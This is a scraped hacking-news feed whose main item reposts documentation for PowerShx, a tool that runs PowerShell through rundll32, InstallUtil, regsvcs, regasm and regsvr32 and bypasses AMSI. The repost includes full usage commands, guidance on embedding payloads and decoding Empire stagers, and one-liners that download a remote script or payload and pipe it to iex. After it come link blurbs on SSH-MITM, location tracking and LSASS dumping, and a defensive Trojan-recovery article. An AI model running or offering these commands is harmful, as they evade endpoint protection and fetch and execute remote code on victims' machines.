Kali Linux Tutorials
PowerShx : Run Powershell Without Software Restrictions

PowerShx is a rewrite and expansion on the PowerShdll project. PowerShx provide functionalities for bypassing AMSI and running PS Cmdlets.

Features

* Run Powershell with DLLs using rundll32.exe, installutil.exe, regsvcs.exe or regasm.exe, regsvr32.exe.
* Run Powershell without powershell.exe or powershell_ise.exe
* AMSI Bypass features.
* Run Powershell scripts directly from the command line or Powershell files
* Import Powershell modules and execute Powershell Cmdlets.

Usage

.dll version

rundll32

rundll32 PowerShx.dll,main -e
rundll32 PowerShx.dll,main -f Run the script passed as argument
rundll32 PowerShx.dll,main -f -c Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console

Alternatives (Credit to SubTee for these techniques):

*
x86 – C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 – C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
*
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
*
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
*
regsvr32 /s /u PowerShx.dll –>Calls DllUnregisterServer
regsvr32 /s PowerShx.dll –> Calls DllRegisterServer

.exe version

PowerShx.exe -i Start an interactive console
PowerShx.exe -e
PowerShx.exe -f Run the script passed as argument
PowerShx.exe -f -c Load a script and run a PS cmdlet
PowerShx.exe -s Attempt to bypass AMSI.

Embedded Payloads

Payloads can be embedded by updating the data dictionary “Common.Payloads.PayloadDict” in the “Common” project and calling it in the method PsSession.cs -> Handle() . Example: in Handle() method:

private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict[“amsi”]);
}

Examples

Run a base64 encoded script

rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(“BASE64”)) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String(“BASE64”)) ^| iex

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode

Run a base64 encoded script

rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e “IEX ((new-object net.webclient).downloadstring(‘http://192.168.100/payload-http’))”

Requirements

.NET 4
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Xmap : A Fast Network Scanner Designed For Performing Internet-wide IPv6 &Amp; IPv4 Network Research Scanning

___________________________
@hacking_Attack
@Hacking_Video

Running SSH-MITM on Android devices
https://www.reddit.com/r/Pentesting/comments/qffu0u/running_sshmitm_on_android_devices/

___________________________
@hacking_Attack
@Hacking_Video

submitted by /u/ssh-mitm (https://www.reddit.com/user/ssh-mitm)
[link] (https://github.com/ssh-mitm/ssh-mitm/discussions/83) [comments] (https://www.reddit.com/r/Pentesting/comments/qffu0u/running_sshmitm_on_android_devices/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
SolarWinds hackers, Nobelium, once again strike global IT supply chains, Microsoft warns

https://external-preview.redd.it/iM6L5tGeFA__gjDANmIDkr-L3JfS4Jbpqq2R6K_nANw.jpg?width=640&crop=smart&auto=webp&s=ddcbfa5f4d0b50f91a4158739666512b7e59bc5b submitted by /u/CodePerfect
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Watch 👍 Subscribe Comment & Enjoy The Ultimate Meditation 🧘‍♀️ Thanks Appreciated ❤

https://external-preview.redd.it/knJYkmCY4fF4Ll9Uadoktdr9WKIrrqR-K3M23M5m6co.jpg?width=320&crop=smart&auto=webp&s=5b395451dda10165182f2aeb32c3436ccda0a6f9 submitted by /u/DandyShandy1975
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Learn Neovim The Practical Way

https://cdn-images-1.medium.com/max/700/0*SXp0BT2d1UUTplvi.png
All articles on how to configure and program Neovim.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How Hacker’s Track anyone location with the use of Linux Tool called "seeker" .

https://cdn-images-1.medium.com/max/1080/1*Ku6ItDKGeNWQ16yKZYlEkA.jpeg
Do not try this on someone without their consent. If you want to get your hands dirty, then just try it on yourself at the end of the day…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Volcando el LSASS con Rust

https://cdn-images-1.medium.com/max/1032/1*WC9equVbbuUJxVz1tAUl-w.png
A principios de agosto me encontraba en una situación en la cual estaba seguro de que iba a tener un par de meses libres laboralmente…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Microsoft advierte sobre el uso del kit de phishing TodayZoo en extensos ataques de robo de…

https://cdn-images-1.medium.com/max/1250/0*qI3Tiq7towtl2xah
PUBLICADO EN 25 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
How We Can Narrow the Talent Shortage in Cybersecurity

Filling crucial roles in cybersecurity and addressing the talent shortage requires rethinking who qualifies as a "cybersecurity professional" and rewriting traditional job descriptions.

Kali Linux Tutorials
5 Essential Recovery Steps after a Trojan Horse Virus Attack

The best form of defense against a Trojan horse attack is prevention. Always ensure that the emails, websites, and links you open are authentic because a Trojan employs deceit to get into your system. It’s similar to the giant wooden Trojan horse that secretly carried Greek soldiers. When the people of Troy took the seemingly innocuous-looking horse into their city, the hidden soldiers let more of their countrymen in to conquer Troy.

While you can take every precaution to stop a Trojan, it may still breach your defenses. Trojans are getting more sophisticated, using social engineering tactics to deceive us. They may provoke various emotions to confuse us. For example, you may see a popup on a website that claims your computer needs a software update, with a link that carries an attachment corrupted with Trojan malware or some other PC virus infection.

Tips for recovering from Trojan malware

It’s hard to recover from Trojan malware because a Trojan could be hiding anything, from a keylogger to ransomware to a virus. Here are some tips that may help:

#1 Run Advanced Antivirus Software

As mentioned above, typical antivirus software struggles to remove emerging-malware like Trojans. Look for advanced antivirus downloads that use machine learning and artificial intelligence to find threatening patterns and behavior in sophisticated malware like Trojans and the like.

#2 Take the Device Offline

Whether you suspect that your computer or mobile device has a Trojan, take it offline immediately. You can do this by removing the ethernet cable from your PC and deactivating the WiFi connection. Some dangerous Trojans open backdoors for threat actors, and cutting off communication after a Trojan attack is paramount.

#3 Create Backups

A Trojan may start corrupting your data permanently. Create backups of your critical files on a USB device or external drive. Your files may already be infected, so don’t access them without scanning them thoroughly. It’s best practice to create regular backups in case of a malware attack in the future.

#4 Deep Clean for Trojan Rootkits

A Trojan rootkit can be disastrous because it gives a threat actor rootkit control of your system. Your operating system’s antivirus is unlikely to locate such subversive malware. Your first step is to run cutting-edge anti-malware software to locate the malware. If that doesn’t work, use security software that scans your computer’s boot sector for malware. However, the most effective way to remove a rootkit is to format your hard drive and reinstall your operating system.

#5 Change Your Login Credentials

Trojans that spy on you like Banker Trojans may carry spyware or keyloggers, so please change your usernames and passwords on a computer that’s free of malware. You may also want to activate two-step authentication. Even if a cybercriminal has your username and password, they’ll struggle to log into your email, bank, or social media accounts without access to another secure device of yours.

After the recovery process completes, please keep your firewall up to protect your network. Use the latest operating system with the newest security patches to iron out bugs that many Trojans exploit.

___________________________
@hacking_Attack
@Hacking_Video